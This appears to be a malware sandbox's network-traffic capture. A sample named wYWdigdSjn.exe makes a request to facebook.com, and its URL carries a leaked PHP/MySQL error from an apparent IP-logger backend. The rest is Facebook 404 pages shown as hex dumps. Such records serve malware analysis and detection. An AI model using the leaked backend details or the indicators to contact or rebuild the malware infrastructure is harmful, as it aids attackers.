2022-10-08 09:35:44 UTC	707	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: hJkJjTJGbQ0MV+xm39svgQJbuTlVhYquupZ1Jyp6TT4crl43KQflYA1RsJD7VCkazhyFvbB7kJCkvB5CVjGkcA== Date: Sat, 08 Oct 2022 09:35:44 GMT Priority: u=3,i Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-10-08 09:35:44 UTC	708	IN	Data Raw: 31 31 36 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 54 54 49 6c 58 75 64 34 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 Data Ascii: 11637<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="TTIlXud4">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requ
2022-10-08 09:35:44 UTC	708	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 54 49 6c 58 75 64 34 22 3e 3c 2f 73 74 Data Ascii: (function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="TTIlXud4"></st
2022-10-08 09:35:44 UTC	710	IN	Data Raw: 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e Data Ascii: YWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LIN
2022-10-08 09:35:44 UTC	711	IN	Data Raw: 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 77 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 Data Ascii: 20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cf
2022-10-08 09:35:44 UTC	713	IN	Data Raw: 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 77 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e Data Ascii: %0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/fon

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49717	31.13.92.36	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-08 09:35:55 UTC	714	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-10-08 09:35:55 UTC	716	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: Y/KRdrZhpKJcImvtWB9+WvlW36j2e2E/GatqijmQBy+U+1IgFjyzo19h3cTWYXs6oLgPFFkIF1RYK4LiCnErVA== Date: Sat, 08 Oct 2022 09:35:55 GMT Priority: u=3,i Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-10-08 09:35:55 UTC	717	IN	Data Raw: 34 32 30 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 35 37 77 72 75 61 6a 7a 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 Data Ascii: 4203<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="57wruajz">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requi
2022-10-08 09:35:55 UTC	717	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 37 77 72 75 61 6a 7a 22 3e 3c 2f 73 74 79 Data Ascii: function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="57wruajz"></sty
2022-10-08 09:35:55 UTC	719	IN	Data Raw: 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 4b 22 20 Data Ascii: WDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK"
2022-10-08 09:35:55 UTC	720	IN	Data Raw: 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 Data Ascii: ccess%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%2
2022-10-08 09:35:55 UTC	722	IN	Data Raw: 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 2f Data Ascii: Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" /
2022-10-08 09:35:55 UTC	723	IN	Data Raw: 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6f 2f 6c 2f 30 2c 63 72 6f 73 73 2f 58 48 77 75 41 5f 5f 34 32 41 66 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 34 42 47 54 6d 43 37 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 39 2f 6c 2f 30 2c 63 72 6f 73 73 2f 71 62 76 39 35 6f 5a 33 65 6c 42 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 Data Ascii: tatic.xx.fbcdn.net/rsrc.php/v3/yo/l/0,cross/XHwuA__42Af.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="4BGTmC7" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/y9/l/0,cross/qbv95oZ3elB.css?_nc_x=Ij3Wp8lg5Kz" data-boot
2022-10-08 09:35:55 UTC	725	IN	Data Raw: 31 65 68 54 39 79 71 2d 32 71 36 6f 33 63 22 7d 2c 22 31 32 31 37 31 35 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 42 37 59 6d 6c 6c 4f 73 41 72 6e 4b 36 4d 6a 34 22 7d 2c 22 31 35 35 34 38 32 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 7a 75 65 47 4c 68 47 6f 30 63 54 35 78 6d 63 51 22 7d 2c 22 31 37 33 38 34 38 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 63 58 33 37 6f 51 63 6f 36 44 77 68 55 6e 57 59 22 7d 7d 2c 22 71 70 6c 44 61 74 61 22 3a 7b 22 37 37 35 38 22 3a 7b 22 72 22 3a 31 7d 7d 7d 29 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 22 53 65 72 76 65 72 4a 53 Data Ascii: 1ehT9yq-2q6o3c"},"1217157":{"result":false,"hash":"AT6B7YmllOsArnK6Mj4"},"1554827":{"result":false,"hash":"AT7zueGLhGo0cT5xmcQ"},"1738486":{"result":false,"hash":"AT4cX37oQco6DwhUnWY"}},"qplData":{"7758":{"r":1}}})});requireLazy(["TimeSliceImpl","ServerJS
2022-10-08 09:35:55 UTC	726	IN	Data Raw: 72 65 72 22 3a 7b 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 78 2d 73 72 63 22 3a 7b 22 74 22 3a 31 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 7d 2c 32 31 30 34 5d 2c 5b 22 43 75 72 72 65 6e 74 43 6f 6d 6d 75 6e 69 74 79 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 7d 2c 34 39 30 5d 2c 5b 22 43 75 72 72 65 6e 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 5b 5d 2c 7b 22 66 61 63 65 62 6f 6f 6b 64 6f 74 63 6f 6d 22 3a 74 72 75 65 2c 22 6d 65 73 73 65 6e 67 65 72 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 77 6f 72 6b 70 6c 61 63 65 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 69 6e 73 74 61 67 72 61 6d 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 7d 2c 38 32 37 5d 2c 5b 22 43 75 72 72 65 6e 74 55 73 65 72 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 22 41 43 43 4f Data Ascii: rer":{"s":"None"},"x-src":{"t":1,"s":"None"}},2104],["CurrentCommunityInitialData",[],{},490],["CurrentEnvironment",[],{"facebookdotcom":true,"messengerdotcom":false,"workplacedotcom":false,"instagramdotcom":false},827],["CurrentUserInitialData",[],{"ACCO
2022-10-08 09:35:55 UTC	728	IN	Data Raw: 67 65 6e 74 44 61 74 61 22 2c 5b 5d 2c 7b 22 62 72 6f 77 73 65 72 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 62 72 6f 77 73 65 72 46 75 6c 6c 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 62 72 6f 77 73 65 72 4d 69 6e 6f 72 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 62 72 6f 77 73 65 72 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 62 72 6f 77 73 65 72 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 64 65 76 69 63 65 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 65 6e 67 69 6e 65 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 65 6e 67 69 6e 65 56 65 72 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 70 6c 61 74 66 6f 72 6d 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 70 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 Data Ascii: gentData",[],{"browserArchitecture":"64","browserFullVersion":null,"browserMinorVersion":null,"browserName":"Unknown","browserVersion":null,"deviceName":"Unknown","engineName":"Unknown","engineVersion":null,"platformArchitecture":"64","platformName":"Wind
2022-10-08 09:35:55 UTC	729	IN	Data Raw: 4c 4f 47 47 45 52 22 2c 22 57 4f 52 4b 50 4c 41 43 45 5f 50 4c 41 54 46 4f 52 4d 5f 53 45 43 55 52 45 5f 41 50 50 53 5f 4d 41 49 4c 42 4f 58 45 53 22 2c 22 50 4f 43 4b 45 54 5f 4d 4f 4e 53 54 45 52 53 5f 55 50 44 41 54 45 5f 4e 41 4d 45 22 2c 22 49 43 5f 44 49 53 41 42 4c 45 5f 4d 45 52 47 45 5f 54 4f 4f 4c 5f 46 45 45 44 5f 43 48 45 43 4b 5f 46 4f 52 5f 52 45 50 4c 41 43 45 5f 53 43 48 45 44 55 4c 45 22 2c 22 41 44 53 5f 45 50 44 5f 49 4d 50 41 43 54 45 44 5f 41 44 56 45 52 54 49 53 45 52 5f 4d 49 47 52 41 54 45 5f 58 43 4f 4e 54 52 4f 4c 4c 45 52 22 2c 22 52 45 43 52 55 49 54 49 4e 47 5f 43 41 4e 44 49 44 41 54 45 5f 50 4f 52 54 41 4c 5f 41 43 43 4f 55 4e 54 5f 44 45 4c 45 54 49 4f 4e 5f 43 41 52 44 22 2c 22 42 49 5a 5f 49 4e 42 4f 58 5f 50 4f 50 5f 55 Data Ascii: LOGGER","WORKPLACE_PLATFORM_SECURE_APPS_MAILBOXES","POCKET_MONSTERS_UPDATE_NAME","IC_DISABLE_MERGE_TOOL_FEED_CHECK_FOR_REPLACE_SCHEDULE","ADS_EPD_IMPACTED_ADVERTISER_MIGRATE_XCONTROLLER","RECRUITING_CANDIDATE_PORTAL_ACCOUNT_DELETION_CARD","BIZ_INBOX_POP_U
2022-10-08 09:35:55 UTC	731	IN	Data Raw: 22 2c 22 6c 65 61 72 6e 2e 70 61 6e 74 68 65 6f 6e 2e 69 6f 22 2c 22 77 77 77 2e 6c 61 6e 64 6d 61 72 6b 73 68 6f 70 73 2e 69 6e 22 2c 22 77 77 77 2e 6e 63 6c 2e 63 6f 6d 22 2c 22 73 30 2e 77 70 2e 63 6f 6d 22 2c 22 77 77 77 2e 74 61 74 61 63 6c 69 71 2e 63 6f 6d 22 2c 22 62 73 2e 73 65 72 76 69 6e 67 2d 73 79 73 2e 63 6f 6d 22 2c 22 6b 6f 68 6c 73 2e 63 6f 6d 22 2c 22 6c 61 7a 61 64 61 2e 63 6f 2e 74 68 22 2c 22 78 67 34 6b 65 6e 2e 63 6f 6d 22 2c 22 74 65 63 68 6e 6f 70 61 72 6b 2e 72 75 22 2c 22 6f 66 66 69 63 65 64 65 70 6f 74 2e 63 6f 6d 2e 6d 78 22 2c 22 62 65 73 74 62 75 79 2e 63 6f 6d 2e 6d 78 22 2c 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 6e 69 62 69 6f 2e 6e 6f 22 5d 7d 2c 33 38 37 31 5d 2c 5b 22 49 6e 69 74 69 61 6c 43 6f 6f 6b 69 65 43 6f Data Ascii: ","learn.pantheon.io","www.landmarkshops.in","www.ncl.com","s0.wp.com","www.tatacliq.com","bs.serving-sys.com","kohls.com","lazada.co.th","xg4ken.com","technopark.ru","officedepot.com.mx","bestbuy.com.mx","booking.com","nibio.no"]},3871],["InitialCookieCo
